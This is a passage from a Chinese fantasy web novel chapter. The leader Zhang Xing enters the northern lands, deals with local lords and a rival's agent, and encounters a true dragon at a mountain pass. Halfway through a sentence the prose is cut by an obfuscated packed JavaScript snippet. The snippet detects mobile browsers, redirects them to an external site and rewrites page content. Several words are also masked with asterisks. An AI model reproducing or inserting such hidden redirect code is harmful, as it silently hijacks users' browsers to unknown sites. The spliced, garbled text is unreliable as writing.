黑延在旁,继续解释,大概是说这篇文字应该是黑帝爷当年从此处出兵南下与那两位争雄中的某一次出兵记录,记载了出兵的人数、日期,会从的部落名称与数量,有几条真龙开道,然后占卜说大吉云云。 很典型的金文类型。 “几条真龙开道?”张行看了看周边这刀割一般的道路。 “确实有人说,这些道路不是祖帝掷刀所开,而是至尊或者至尊座下真龙所开。”黑延负手笑道。“毕竟,虽说红山一战后大多数真龙都少见现身,可一直到现在,吞风君都还在那大兴山上,天晴的时候常常有人看到,刮风的时候则常常有人听到……大家自然会有所联想。” “这倒是人之常情。”张行微微颔首。“我从进了这道山岭便知道又一番天地了……之前在落龙滩时也是这般感觉,仿佛跟中原相比就是两个世界一般,一头是凡人的,另一头是真龙神仙的。” “谁说不是呢?”黑延微微凛然。“我去河北,也有这些感触。” “那黑司命,你说是哪个世界好一些呢?凡人的,还是真龙神仙的?”张行忽然来问。 黑延捻着腰中白狼尾,一时沉吟不定,半晌方才失笑来答:“这可不好说。” “不好说就是说了。”张行也不由失笑。 “这算说什么了?张首席可不要乱讲。”黑延赶紧纠正。 张行刚要继续说些什么,就在这个当口,远处那些人就来呼喊,说是道路已通……黑延心中发慌,赶紧先离开了石碑,张行随之而去,身后许敬祖在内的几名文书则忍不住面面相觑,毫不掩饰的笑了出来。 然而,众人跟上,重新上马,刚刚越过那段被冲垮的路,却又各自随着为首之人勒马,因为就在那段路的前面,又一块巨大的石碑跟前,一个人似乎等待了许久一般,赶紧起身,然后举着手中事物奋力摇晃,胸前的铜镜也随着乱晃。 张行难得去看了眼腰中那个许久不用的罗盘,然后重新抬头微笑以对:“怀绩公,许久不见,你风采依旧,如何在这里?” 那人,也就怀抱神镜的王怀绩了,闻言赶紧走上前来,一边过来一边还将手中书卷高高举起:“当然是在这里等着张首席了!张首席,你的书!你本该两年前就来取,如何来的这般晚?” 张行笑而不语,只是安静等对方过来。 倒是秦宝、许敬祖等人不由面露好奇,他们都听过此人之神异,却是第一次相见,而贾越与黑延则各自肃然,一动都不敢动,只是忍不住目光往张行与这人身上反复去看罢了。 王怀绩过来,将书卷递上。 张行就在黄骠马接过,直接打开,果然是《六韬》缺失的第一二卷,也就是《文韬》与《武韬》。 然而,其人翻看一二,便将这两卷书随手递给了身侧秦宝,然后含笑来看马前之人:“怀绩公,可能确实差两年,这两卷书来的有些晚了?” 王怀绩愣了一愣,不由疑惑:“这么好的书,怎么会晚呢?” “当然会晚,前两卷之精义,也就是天下归于天下人,同天下之利者而得天下,擅天下之利者失天下,我已经清楚无误告诉天下所有人了。”张行缓缓言道。“至于说得此道者可谓受天命,可掌师征伐天下,我也已经身体力行做了证明,尤其是近来扫平河北,更得其中三味……那敢问怀绩公,有没有这两卷书,又有什么区别呢? “甚至,我以凡人之身而行此道,难道不比借此天书而求天命要强一些吗?而阁下屡屡助我寻此书,是看重这书呢,还是看重我是否能行此道呢?” 王怀绩再度愣了一愣,不由抱着镜子叹了口气:“说的不错,你自行其道,将来更有说法,反倒是我着相了……只想着你要去北面,担心你被人套住,才仓促了一些。” 张行状若不解,回头来问黑延:“被北面哪个人套住?” 黑延干笑了一声,没有吭声。 而王怀绩则往一侧让开身位,然后催促:“既有底气,那就去吧!只是务必小心,有人表面看起来大度沉稳,不拘小节,其实内里又爱面子又小气,还总喜欢**人心……我就不去了,省的被人记挂。” 张行点点头,只当没听懂,却是直接打马过去了。 四月初七,张行越过掷刀岭,来到他……阔别已久的北地。 而甫一来到原野之中,他便清晰听到,远处中央山脉的上空云层中,赫然有一声龙吟。而仅仅是这么一声龙吟,他体内的寒冰真气便隐约鼓荡起来。 正所谓:帆翅初张处,云鹏怒翼同。莫愁千里路,自有到来风。 pt 第五十八章 **行(1) 第518章**行(1) 天苍苍,野茫茫,风吹草低见牛羊。 落钵原上,远山近野,一览无余,数十骑飞驰而过,惊动了不少放牧者与采集者,他们抬起头来去看,不由略显诧异,但也只是略显,便继续忙碌去了。 这一行数十骑,虽然一人双马,精悍难掩,而且文武分明,但都不出意外,尤其是还有挂着白狼尾的白狼卫在其中。唯一的问题是,那面红底大字旗不免让人感到奇怪,北地号称八公七卫一百个团,却不曾记得哪个战团唤作“出黑”? 然而,面对此旗,原野中的牧民还能将此事当做一个笑话,落钵城内,现任鹿野公元宝起就没法淡定了。 实际上,在获知消息后,这位年约五旬,理论上应该正在一方领袖黄金年龄的北地八公之一,当时便大惊失色起来:“确定吗?果然是黜龙贼亲自来了?” 其人身前堂内,虽然稀稀疏疏,却也站了二三十人,周围人一时间竟都不吭声,场面异常尴尬。 这个场景倒也没什么玄乎的……根子其实还在大魏身上,大魏当年号称天下只缺东夷一隅,倒不是胡扯,曹氏对巫族三部、对北地都有相当的统治渗入,甚至是过乎其半的。别的不说,北地封建制度上的八公七镇基本上顺着大魏走的,而且是远交近攻,北面那几家是联姻、结盟,高高抬起,南面这几家,尤其是柳城跟落钵城,就是完全征而服之,取而代之了。 甚至白狼卫、铁山卫,因为地理原因,之前也相当程度上被大魏所掌控,整个荡魔七卫也都实打实的向大魏低头称臣然后接受敕封的。 至于说前任柳城公姓侯,前任鹿野公姓梁,现任柳城公姓李,现任鹿野公姓元,全都来自于关陇,只不过一拨是大魏建制前一拨大魏建制后,那就更是明证了。 非只如此,到了曹彻时期,大魏更是派出了于叔文这样的宗师大将担任方面,以北地中央山脉为界,理论上执掌整个北地西麓的三公三卫,外加幽州西北部一郡、晋北一郡,实际上是把控苦海,隔绝北地、巫领,既是大魏整个北面屏障,也大大加强了大魏对北地统治。 换言之,元宝起这个黄金年龄,反而充分说明了一件事,那就是他一生中最宝贵的青年时代和中年时代,都是大魏的傀儡。 或者更直接一点,在闻得黜龙军出苦海与掷刀岭后,领内最大的主战派,近来崛起掌握权势的元宝起长子元戎已经带领领内主力南进,那剩下的人,包括元宝起都是什么成分?他们这些人在晓得张行的旗帜出现在落钵原侧后方,似乎要往铁山卫时,又能如何? “确定无误!”来汇报的这名战团佐领看到场面尬住,无奈拱手行礼,以作重申。“元公,我们看的清楚,就是传闻中张首席的红底黜字旗,还有白狼卫的人随行,然后我们团首亲自过去招呼,确定是张首席,还有白狼卫黑司命亲自陪同,直接明言要经铁山卫,过葫芦口,去黑水见大司命……我们团首说了,毕竟他是您老人家座下军官出身,我们这伙子人也多是落钵城的跟脚,不能不来一趟,然后问你有什么想法,又需要我们如何做?” 白白胖胖的元宝起听到这里,愈发慌乱,便来问左右:“那如之奈何呀?” 周围人一开始还是无言,但眼瞅着元宝起将目光投向了来人,似乎准备向来人作问“如之奈何”,便有一名老者上前,拱手无奈言道:“元公,那张首席应该是真要去黑水见大司命的,不然黑司命如何亲自陪同?而且算算时间,拦截也是来不及的。” “所以,只是路过,无须顾虑?”元宝起稍微振奋。 “不能不做顾虑。”那老者无语至极。“元公想一想,黑司命既随行去见大司命,十之**是荡魔卫要因为之前数十年跟大魏的仇怨要倒向黜龙帮了,尤其是这张首席本就出身铁山卫,之前他在河北被英国……皇帝围困,但是铁山卫没有出兵,他舅舅竟也集合了几个战团南下救援,那敢问他现在路过铁山卫,会不会就势唤起一些人趁我们空虚来攻击我们呢?” 元宝起严肃起来,认真再问:“如之奈何呀?” “一则速速请世子回援;二则,聚拢跟咱们要好的战团,就地在城池周边防护起来。”老者只能继续说下去。“因为即便是铁山卫来攻,也最多是来一些战团。” “那就这么做。”元宝起赶紧来言。“赶紧做。” 周围人这才努力吐了一口气出来。 就在鹿野公元宝起运筹帷幄之际,张旗不响鼓的张首席一行人,也来到了一处地方,然后进入了一个战团驻地,并见到了一个熟人。 说起来,此人还算是黜龙帮的头领呐。 “宇文头领,你如何在这里呀?”张行见到出迎之人,明显一愣。“是专门等我吗?我看到宇文的旗帜还觉得奇怪……” 宇文万筹也明显措手不及,却又赶紧来笑:“本该我问首席与黑司命为何在此,如何反而盘问我了?我们本就在这里过得冬,如今四月份天热起来,正要协助这里的人春耕,然后便要去做矿石转运的生意了。” 黑延闻言嘿嘿一笑,倒是没说什么。 反倒是张行,明显来了兴趣,乃是接连不断的发问: “战团没有固定过冬的地方?” “工业、商业、农业、牧业,运输,渔猎,全都做?而且还帮人打仗?最大的利市在哪里?” “本地耕种与放牧的矛盾大吗?” “战团之间如何相处,会不会争地盘?战团跟八公七卫之间呢?战团之间有组织吗?” “战团内部如何承袭?” 张行接连不断来问,宇文万筹似乎也晓得对方二征时被人家东夷大都督打成**的事情,倒是知无不言。 其实,张行虽然内里上的确是个外人,但既然战略上吃定了北地,尤其是这大半年休整期间,怎么可能不做功课?八公七卫,战团制度,多少晓得一些情境。 譬如荡魔卫中明显的内部分离态势,八公中贵族由来渊源导致的**,以及无论八公七卫都普遍存在的南、东、西三面隔离导致的地域争端,外加那条在被称为大兴山的中央山脉上泰然处之却给整个北地人带来微妙心态的真龙……他其实都知道。 至于战团这种因为地广人稀、冬日偏长、山脉阻隔等自然环境而产生,又被黑帝爷亲自代言过,在北地绵延几千年历史的军事化生产生活自助团体,他当然也知道一些根底。 但这不是来了吗? 总得问点啥吧。 实际上,张行甚至在河北时就早已经确定,眼前这位宇文头领,其实是听涛城陆夫人的根脚多一些,而按照黜龙帮的既定战略,河北既下,便来图北地,而北地最大的假想敌,目前来看就是把控了北四公的陆夫人。 但知道又如何? 就这样,当晚张行一行人宿在宇文万筹处,后者也设宴招待,宴后双方要害人物还聚在一起聊了许久,一直到夜色已深,宇文万筹等人才好离开,方便对方休息。 不过,黑延却一直拖到最后,等屋内只有六七个人,才忽然开口:“张首席晓得为什么宇文……宇文头领的战团要在此处活动吗?” “因为这个地方是北地南部要道葫芦口的西面必经之路。”张行愣了一下,才从容做答。“必是陆夫人给了他任务,让他冬日一结束便至此地看管,观察往来人员物资,确保南部情报通畅……说不得还有必要时封锁葫芦口的任务。” 黑延也愣了一下,不由反问:“原来张首席早就知道……这是与他打夺陇假赛呢?” “怎么算假赛?”张行不以为然道。“他固然是陆夫人的人,可也是正经的黜龙帮头领,也真切在我们黜龙帮最危险的时候南下救援过……便是日后真打起来,黜龙帮上下也不会忘记他这份恩义的。” “张首席这话倒是敞亮。”黑延再三顿了一顿,方才叹气起身。“而且不管如何,咱们来的这般快,整个北地全都措手不及,便是谁有恶意,怕是都来不及放出来的……也无妨。” 说完,径直离开去歇息了,屋内便只剩四人。 人走后,张行沉吟片刻,扭头又来问问秦宝:“如何?营地果然没有不妥吗?” “之前没有,夜里便是要做手脚也要等三更、四更。”秦宝闻言起身。“不过我得去看看瘤子兽跟黄骠马,亲自上点夜料。” 说完,也直接出去了,这时候屋子里只剩下张行、贾越、许敬祖区区三人。 张行没有吭声,坐在灯旁的椅子里好像是在想什么事情,许敬祖起身踱步,不知不觉就出了门,贾越留在最后,枯坐了一会,也站起身来告辞离去了,全程一如既往的一言不发。 而贾越一走,许敬祖不知道什么时候就摸了回来,还像模像样的拱手汇报: “首席,我看了一圈,这宇文万筹应该没有做什么手脚,其实刚刚黑公说的极对,首席这般快,整个北地都措手不及,何况是这里?” “还是河北打的太快了。”张行回过神一般道。“整个北地就没有对付我们的战略意识……” “自然也是这个意思。”许敬祖立即附和。 张行犹豫了一下,继续来问:“那你说,宇文万筹晓得咱们知道他根底吗?” “应该晓得。”许敬祖认真分析。“便是他小瞧了我们,也不该小瞧黑公这个堂堂一卫司命身份的地头蛇。” “说得好。”张行点头。“既如此,他岂不是真与我们打假赛?” 许敬祖犹豫了一下,然后正色来言:“首席,我有一句话,不知当说不当说?” “那就说嘛……” “首席,咱们这次过来,一则是既入北地,总要与荡魔卫认真讨论一份,见个分晓,能拉拢的就拉拢;二则也是要摆明车马,打草惊蛇,弄清楚其他各方的立场,方便日后进军……对也不对?” “打草惊蛇,敲山震龙……是这个意思,不然我为什么要大张旗帜?” “既如此,首席何妨喜怒形于色呢?” “嗯?” “之前数年,咱们黜龙帮虽然一直在发展,但无论内外总还有倾覆之危,那个时候首席在政令上光明正大,在内外交际上则喜怒不形于色,好让他人猜不到首席心思,这当然是对的。但是现在,黜龙帮根基已成,河北这一战已经很清楚了,将来就是与那几家拉锯、决战,然后席卷罢了,而从帮内来说,首席更是名位已定,再无人能动摇,那于首席而言,无论内外,其他人其实都是居于下的……这种情况下,不让下面的人知道首席的心意,反而容易误判形势。” “也就是居于上者,不能不教而诛。”张行心中微动,不由点头。“说得好。” “是这个意思。”听到赞赏,许敬祖反而顺势赶紧找补。“不过,具体到宇文万筹此人和今日之事倒也无所谓,因为咱们只是过路的而已,明日就走,此人也无足轻重,不差这一回。” “不不不。”张行连连摇头。“宇文万筹是有功之人不说,只说喜怒形于色,未必只是对他本人有效果。” 许敬祖旋即恍然……正是如此。 翌日天亮,张行等人休息妥当,起床后就发现,战团驻地那排永久性房舍前早排开了木桌,于是所有人一起来用餐,也是上下一致,完全按照黜龙帮廊下食的规矩来,真的是挑不出一点毛病来。 而就在餐桌上,吃了两口的张首席忽然开口了: “宇文头领,你在此处守着葫芦口要道,可晓得帮内通缉的要犯李枢、崔傥是否是逃到了北地来?” 就坐在张行身侧一桌的宇文万筹明显惊住,一时说不出话来。 张行立即便晓得是怎么回事了,却还是追问不停:“如此说来,便是没见到了?” 宇文万筹还是没接话,与此同时,周围人也似乎意识到了什么,原本喧嚷热闹的廊下食陡然安静下来,双方都看向了中间方向,秦宝与贾越二人更是本能放下了筷匙。 孰料,已经答应别人要喜怒形于色的张首席依旧面色如常,甚至继续装起了糊涂:“这样的话,你要多留意,有了他的情报和落脚处便速速上报到南面……现在整个河北都是咱们的了,想联络也方便。” “是。”宇文万筹这才松了半口气,而松了半口气后又只能硬着头皮来做试探。“但话虽如此,北地这么大,且势力众多,所谓八公七卫一百团,再加上那崔傥虽是文修,可到底是个宗师……首席,只怕我这里是有心无力。” “无妨的。”张行摆手道。“刚刚都说了,现在整个河北都是我们的了,那北地还会远吗?此去黑水见大司命不就是要说北地的下落吗?我也不瞒宇文头领,我已经将北地视为囊中之物,卧榻所在了,那敢问又怎么会让敌人与叛贼继续藏在自家囊中,睡在自家卧榻呢?肯定是要除掉的。” 宇文万筹张了张嘴,一时不敢多说话,却也不敢不说话,只能点头糊弄:“是,首席说的是。” 此番畏缩之态,莫说跟当日初见时堂皇去试探对方一帮之主修为的豪气截然不同,便是跟昨日的热情圆滑都差了几分。 实际上,不止是宇文万筹,其团中许多人都有些小心翼翼,倒是一旁认真听完了的黑延却忍不住冷笑一声:“张首席果然志在必得。” “若非志在必得,我何必轻身而来?”张行毫不犹豫答道。 黑延嘿了一声,不再言语。 张行则举起手中汤碗,以作示意,贾越等人反应过来,随之举碗,事情算是告一段落,周围人也多趁势用餐,宇文万筹更是吃的最快,生怕再被张首席问上几句话来。 饭吃完,众人各怀心事忙碌起来,宇文万筹躲不掉,更是忙前忙后,帮着对方一行人准备出行。 不得不说,人家宇文万筹果然做事万全。 马匹夜间被悉心照料,干粮清水被补满,少数路上有些损伤的战马还被主动更换,此外每人的马上还多了半张春日羊羔皮做的软垫……据说还能围在脖子上,勒在腰上也行。 总之非常实用。 最后,检查完出行准备,其人还亲自牵马,将一行人送往东北面葫芦口方向的大路上。 果然,临到告辞的时候,张首席又开始做幺蛾子了。 “补了多少匹吗?”张行从宇文万筹手中接过缰绳,却又扭头来看贾越。 贾越愣了一下,立即亲自去查探,一会就跑回来告知:“首席,补了七匹马。” “七匹马,还有五十四张羊羔皮,记下来,打个欠条。”张行旋即吩咐。 闻得此言,许敬祖立即跳下马来就来写条子,而宇文万筹只觉得心中慌乱不已,也顾不得许多,直接就势扯住张行来言:“张首席,若是有什么不妥当的地方,你直言便是,何至于此?” “你不懂,这是为你好。”张行一声叹气。“宇文头领,我晓得你是陆夫人的人,黜龙帮北进,陆夫人什么意思,谁也不好说,指不定就要刀兵相见……” 宇文万筹听到这话,反而没了之前的顾虑,不由苦笑:“首席果然全都知道。” “怎么可能不知道?”张行继续言道。“只不过,我们黜龙帮要讲道理,当年最艰难的时候,你受谢鸣鹤谢总管召唤,随我舅舅南下救援,这份恩情绝不会忘……你这个头领,也绝不是什么虚妄说法……宇文头领,我明白告诉你,我希望你能弃北从南,省的大家难做。” 宇文万筹低头不语……这便是明确表态,不可能背弃陆夫人了。 “我就晓得如此。”张行见状也不生气,也不错愕,而是转身接过了许敬祖打好的欠条,写了张三二字,然后也不用印鉴,而是拔出金锥,以锥尖刺破食指,滴血于上,然后以拇指按压,忙完这些,才将欠条递给对方。“宇文头领,我也不瞒你,帮里最近在讨论特赦的事情,准备每年在军务上设置几个特赦名额,真有那一日,也必然有你一个……但是,那肯定是年底的事情了,在这之前,李龙头便要打来,他是个不讲情面的元帅,所以我才给你留这个欠条,到时候充当赦令,当年去北上救援的那批人,可以免受抽杀之刑。” 宇文万筹双手接过来,不免惭愧:“是在下以小人之心度首席之腹了,谢过首席。” “你不要谢。”张行翻身上马,在贾越与黑延的注视下望着宇文万筹幽幽来言。“这只是一次性的,若你反复强行交战,李定那厮断不会给你留余地,况且一旦交战,刀兵无眼,一张纸如何救得了你这么多兄弟,你也该给他们留些余地。” 说完,倒是终于打马走了。 当夜宿在了葫芦口。 葫芦口是北地中央山脉南端与燕山山脉北麓延展的交汇点,是北地南部地区的核心通道,考虑到荡魔卫中大司命所在的黑水卫至尊石窟位于北地中央山脉东麓北面位置,此地算是张行此行道路的唯一必经之所。 故此,甫一落帐,秦宝便亲自往前方去巡视,黑延也派出了人去找接应,许敬祖更是亲自去负责晚炊。 趁着这个时候,篝火旁的张行主动向贾越开口了:“老贾,没有话与我说吗?” “没有。”贾越干脆来答。 “那为何自从进了北地腹心,便觉得你有些心事?” “是有心事。”贾越叹气道。“但心事只是心事,要见到大司命,听他说清楚才能知道该如何做如何说……” “那到底是什么心事?” “其实也简单,就是不停的想,咱们身上这个黑帝爷点选到底是个什么意思?是要为黑帝爷做事情还是为荡魔卫做事情,总不能是自己想怎么做就怎么做事情吧?还有,现在你局面这么大,照理说荡魔卫该直接同意两家合一,一起做大事才对,可是沿途走来,连黑司命都明显有别的想法,要待价而沽,更不要说北地各处其他势力了。所以越走心里越慌,但又只是慌,没有真见到不好的事情,不免有些焦躁。” “原来如此。” “倒是首席你,直接这般奔葫芦口来了,铁山卫就不去了?你舅舅家里不说,你到底是在那里长大的……听涛城你也去过的,差点还成了陆夫人的手下……” “想不起来了。”张行沉默了片刻,无奈以对。“都想不起来了。” 贾越复又叹气:“所以没有话与你说。” 这下子,反而是张行被堵住了嘴。 二人沉默下来,但不知是不是错觉,山谷上方的风声越来越大,而且杂乱起来,张行微微皱眉,刚要询问,黑延便回来了。 “张首席,葫芦口那头遇到了我们荡魔卫的兄弟,估计过两三日会迎上黑松卫来的大队人马。”黑延就势坐在篝火旁,明显放松了不少。“到时候老夫我也算是能松口气了。” 张行指了指上方风口:“黑公,这个不需要小心吗?” 黑延愣了一下,抬头看了看稍有星光的头顶,反而不解:“小心什么?” “这风不对吧?”张行正色提醒。 “张首席,这是北地。”黑延无语至极。“赤帝娘娘的风刮不到这里,北地的风,都是从这大兴山上与北面冰海里卷出来的……” 张行略有恍然,但似乎还是有些不解。 贾越在旁进一步解释:“首席,现在不是冬天,乱风只能来自山上,而山上是有吞风君的,有些真气乱流也属寻常。” 张行这才醒悟,却依然有些许不解:“可这吞风君不是在长白山天池上吗?” 北地中央山脉整体唤作大兴山,其中北段高耸,雪线之上的部分极多,唤作长白山,而山上有个类似于之前曹彻在晋北祭祀黑帝爷的天池,被认为是吞风君的巢穴。 “四处跑的。”黑延伸了伸脚,好整以暇。“有个说法,说是当年黑帝爷跟吞风君有过约定,整个大兴山雪线以上都是祂的……不拘于天池。” 张行这一次才彻底放松下来,呼了一口气出来:“我说嘛,这刚刚入夏,便是北地,也该是暖风和煦才对,怎么就真气乱流,北风倒刮,甚至有些发冷呢?不过,这吞风君自领大兴山,四处乱窜,难道不会给北地百姓带来麻烦吗?据说中原那里,真龙一动便要夺地气的,夺了地气,来年收成就不好。” “若是从这个说法来看,北地每年冬日四五个月,大雪封路、封山两个月,也算是年年都被夺地气吧?”贾越幽幽来言。 “是有这个说法,但也有人觉得这是北地的正常气候,而且北地到底是至尊亲领之地,所以吞风君现世,便是耗费地气,也都是至尊亲自度让真气以作滋养的,并无人间损害。”黑延俨然晓得更多说法。“除此之外,吞风君是天下寒冰真气之源,北地修行者用此真气的十有一二,还有专门敬奉吞风君的战团、道观,过于苛责吞风君的说法怕是立不住的。” 张行再三点头,心中却又泛起一丝怪异之感,因为他怎么听怎么觉得,这黑帝爷跟吞风君的关系恐怕没有那么妥当呢? 就算是自己多想,可若夺取北地,自家这个黜龙帮又该如何面对这条占据了北地中央山脉的真龙呢? 三个北地人正聊着呢,忽然间,不远处的山谷凹口内,众人存放战马的地方,明确传来几声嘶鸣……不过,也仅仅就是几声嘶鸣,并无别的动静。 但张行听了片刻,忽然一惊,便站起身来,黑延与贾越也意识到了什么,随即起身。 “三哥。”就在这时,秦宝紧张过来。“要出事……黄骠马跟瘤子兽都有些嘶鸣不安之态,其余战马个个畏缩,怕是被什么吓到了。” 张行与其余几人交换眼色,一起看向了头顶。 彼处,月暗星稀,乱风鼓动,隐约能感知到一股杂乱的真气在山顶鼓荡……这个时候,队伍中其余人也察觉到不对,因为明显变冷了。 “不要紧。”身为东道主,黑延赶紧安抚所有人。“无非是真龙过境,这是常事,大家散开安坐,看好牲畜不出声就行……片刻而已。” 众人依照言语,各自紧张散开,一时间只有张行、秦宝、贾越、黑延四人留在原地望天,这四人既是此行中为首四人,也是队伍中修为最高的四人。 不过,四人表情态度明显各异。 黑延是紧张,饶是他亲口做了安慰,此时反而最为严肃,毕竟,真出了什么事,肯定是他这个引路的东道主来负责……而说句不好听的,真惹怒了黜龙帮,别处逃得开,他们白狼卫靠着南面是断然跑不掉的。 贾越也明显紧张,但却更多是防备姿态。 而秦宝在晓得是怎么回事后,如今半点紧张都无,只是好奇……毕竟,莫说见到真龙,他可是一锏把真龙砸趴下过。 至于张行,他也应该会好奇,但偏偏刚刚恰好想到这条真龙的怪异之处,不免有些出神。 头顶乱风越来越激烈,同时渐渐统一转向北风,而北风带来的寒气也越来越明显,张行立在那里,努力尝试感应北面远方必然存在的那股真气……但就是做不到。 这倒是证明了一件事情,他这个能力真就跟黜龙帮的治权息息相关,现在北地不属于黜龙帮。 正在胡思乱想中,忽然间,一股磅礴巨大的真气自头顶滚来,山谷内,周遭平地起霜,乱风更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168013|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是呼啸如雷,仿佛一瞬间从夏入冬。 非只如此,所有修行者也都觉得浑身真气鼓荡,张行更是觉得丹田内真气如潮,滚滚不停……随即,四人在内,许多人抬着头,眼睁睁看见高空中一个庞大的雪白色身影轻易掠过,速度极快,却因为颜色清晰以至于人人都亲眼目睹。 真龙既过,秦宝忍耐不住,沿着山谷两侧夹壁腾跃而起,似乎是想去看真龙形状。 而张行体内真气刚刚稍稳,复又有起势,不由大惊,赶紧也腾跃起来,将将在崖壁之上截住对方,然后本能便要施展真气,再度翻上崖顶立住……唯独寒冰真气使出同时,心中微动,却又使出难得的手段,转出长生真气,靠着长生真气特性挂在崖壁之侧,垂了下来。 秦宝心中有异,不敢怠慢,倒是没有多余反应。 或者说,来不及有多余反应,刚刚落地,寒气再来,真气再滚,而这一次寒风却居然自南面来,然后伴随着一声穿破了乱风且越来越大的龙吟,一个巨大的身影扑在了葫芦口上方的山崖之上。 吞风君居然在空中绕了一个回旋,去而复返!而且直直落在此处! 下方上百战马彻底失控,有的嘶鸣逃窜,有的跪伏于地,还有的干脆七窍流血。 队伍中几名没有修为的还好,那些有修为的人,全都觉得体内真气不受控制,仿佛身体是个水桶,而桶内的水莫名摇晃起来一般。尤其是那几名修为低下的文书,原本以为真龙已走,站起身来,此时当头一落,居然站立都不能,直接扑倒在地。 多处篝火,此时也被扑散,却又有火苗砸在一旁的帐篷上,复又燃起。 也是乱做一团。 然而,无人敢去搀扶战友,也无人敢去追索马匹,去救火,所有人在内,只要还有行动能力的,全都抬起头来去看头顶的白色巨物。 葫芦口只有十几米宽,对于扑在上方的巨大的真龙而言未免狭窄,实际上,大家只能看到白色一条线而已。 不过即便如此,张行还是察觉到了一些有意思的情状,譬如那白色的外层不是想象中的鳞片,而是羽毛;再譬如,**是不是错觉,反而觉得在彻骨的寒气背后,有一股被藏着的庞大热量。 头顶之上,真龙在挪动肢体,每动一下,山谷内便字面意义上的地动山摇……山石滚落,岩壁坍塌。 但还是无人在意,因为下一刻,一只巨大的,火红色的眼睛,出现在了众人的头顶。 张行死死盯住了这只眼睛,或许只是错觉,他感觉双方在凌空对视。 就在张行身侧,贾越毫不犹豫拔出了自己的**,秦宝来不及去寻武器,即刻拔出了靴子处的金锥,黑延迟疑片刻,也拔出了自己的**,三人将张行夹住,一起来看头顶。 而不知道是不是错觉,张行觉得头顶的真龙似乎在迟疑什么,然后忽然间,不晓得谷中哪里卷来一股暖流,似乎是受此刺激,吞风君猛地腾空而起,直直向北去了。 众人目送真龙消失,却因为前车之鉴,许久不动,一直到一个帐篷被烧干净,方才渐渐活动开来。 “救人,救火,疏通道路,检查物资,继续准备晚炊。”张行下达的命令极为简短。 忙了好一通,才安生下来,但气氛却有些怪异……大家纷纷议论之前的真龙,却没有一个人敢大声的。 而张行几人,也都各自无话。 过了片刻,许敬祖端来一碗羊肉汤,亲自奉给张行后,却又立在一旁,小心来问:“首席,那吞风君至此,明显是有针对……莫不是来看首席你的?” 此言一出,周围人无论是随行黜龙帮精英还是白狼卫骑士,俱皆来看,躺在地上的伤员都好奇抬头。 “或许吧。”张行端着汤碗正色来答。“但说不定也是来看贾头领的,我们俩都是黑帝爷点选。” “原来如此。”许敬祖状若恍然。 “我可没法转用其他真气。”贾越咕哝了一声,却无人在意。 “如此说来,那吞风君只是好奇了?”许敬祖继续来问。 “或许。”张行不以为意道。“或许是存了恶意,想要吞杀我们,但是这谷底不是至尊允祂的地盘,不敢下来;又或许是善意,晓得两个至尊点选在此,单纯来打个招呼……但那又如何?于真龙而言,无论善恶,一动而已,凡人便要遭如此大祸,无论如何都是受不起的。” 许敬祖原本已经准备好了话术,是准备用来安抚人心的,此时却硬生生咽了下去。 倒是张行,此时完全喜怒形于色了:“要我说,这吞风君于北地,乃是一而二二而一的关系,咱们若存了并吞北地的心思,便也要有处理吞风君的准备……只不过,并吞北地需要多方下手,对付吞风君也要做好多般准备,或战或驱或和,都要看具体走向,但必须料事从宽,切不可存侥幸之心。” 许敬祖连连应声,心中却已经醒悟,这首席刚刚受了那真龙威迫,已经存了杀机。 但出乎意料,荡魔卫的人居然没有太多反应。 一夜翻覆,第二天一早,众人便立即上路,并被迫沿途清理葫芦口内的落石与塌方。而很明显因为昨夜动静太大,引来了不少人,一开始是数人数十人的战团巡逻队伍、附近牧民,上午时分,则遇到了一支两百余骑来自于白练城的队伍。 有黑延这位在北地数得上号的人在,在他的指挥下,双方相向动手,一下午就打通道路,黜龙帮一行人也穿越了葫芦口,正式抵达北地三区的东部丘陵地区。 此时,身后宇文万筹的人也追过葫芦口,张行等人就势将伤员托付,然后径直换马离去,到了这个时候白练城的人方才晓得,之前黑司命亲自护送的人,竟然是如今的河北之主,天下前三的雄主。 惊愕之下,也不敢做什么反应,只能匆匆折回白练城以做汇报。 另一边,张行等人既出葫芦口,便顺着东部丘陵地区的核心大道一路疾驰,昼夜交替,一意前行,越白河,翻赤岭,中间婉拒了来迎的黑松卫大部队,三日后便进入黑松卫那标志性的巨大黑松林,在这里汇集了黑松卫的司命陆惇,也就是陆夫人亲父后继续北上,终于在第五日见到了蜿蜒曲折却又波涛汹涌的黑水河。 众人就此改道,逆流而上,往大兴山北段长白山下而去,又过了五日,便抵达黑水卫。来到此处,北三卫中另一家司命蓝大温也已经在得到讯息后抵达,便亲自出城池来迎。 这么算来,这黑水卫中已经有一位大司命,三位司命在了。 这就很像是认真讨论事情的样子。 于是张行就跟随这些人绕过足堪称之为大城的黑水卫山下临河之城,登到石山上,入了石门,转入一处山谷,却见到与下方临河木石大城截然不同,山上各处都是石头,许多建筑都是在石山上用真气划出来的,镶嵌其中。 而最惹人注目的,赫然是这座石城四面,密密麻麻,皆为文字图画的石刻。 稍作停留,三位司命继续引路,张行也随之而去,乃是入了山谷,转到内部深处一座并不是很大的黑帝观前,众人此时才发现,观后赫然是一处巨大之石洞,而且明显是天然洞穴。 石穴巨大空旷,仿佛不似人能居,远远望去,灯火之下,只有一处祭祀地点和一些石桌石椅。 “这就是俗名说的神仙洞。”蓝大温稍作介绍。“是至尊老爷修行立志的地方,当初就是在这里汇集了数百豪杰,建立了荡魔卫,决意荡平天下魔物;也是从这里屡次发兵南下,试图为人族争得天下气运;当然也是在这里证了至尊之位……不过,咱们今日不去这里,得先去见大司命。” 张行点点头,众人再度启程,却是从黑帝观一侧上了一处石头长廊,越过长廊,就有一座与中原无二的建筑,乃是外面一个院子,中间一个大堂,两侧两排公房。 大司命本人就在这里面日常办公,处理七卫乃至于整个北地各类事宜。 张行依旧坦荡,结果临到这个院子门前,却又驻足……他当然不是怯场,而是意外的看到了一个面熟之人。 “你不是李十二郎的妹妹吗?”张行驻足在门前,看向了石门前肃立的一名戎装女子。 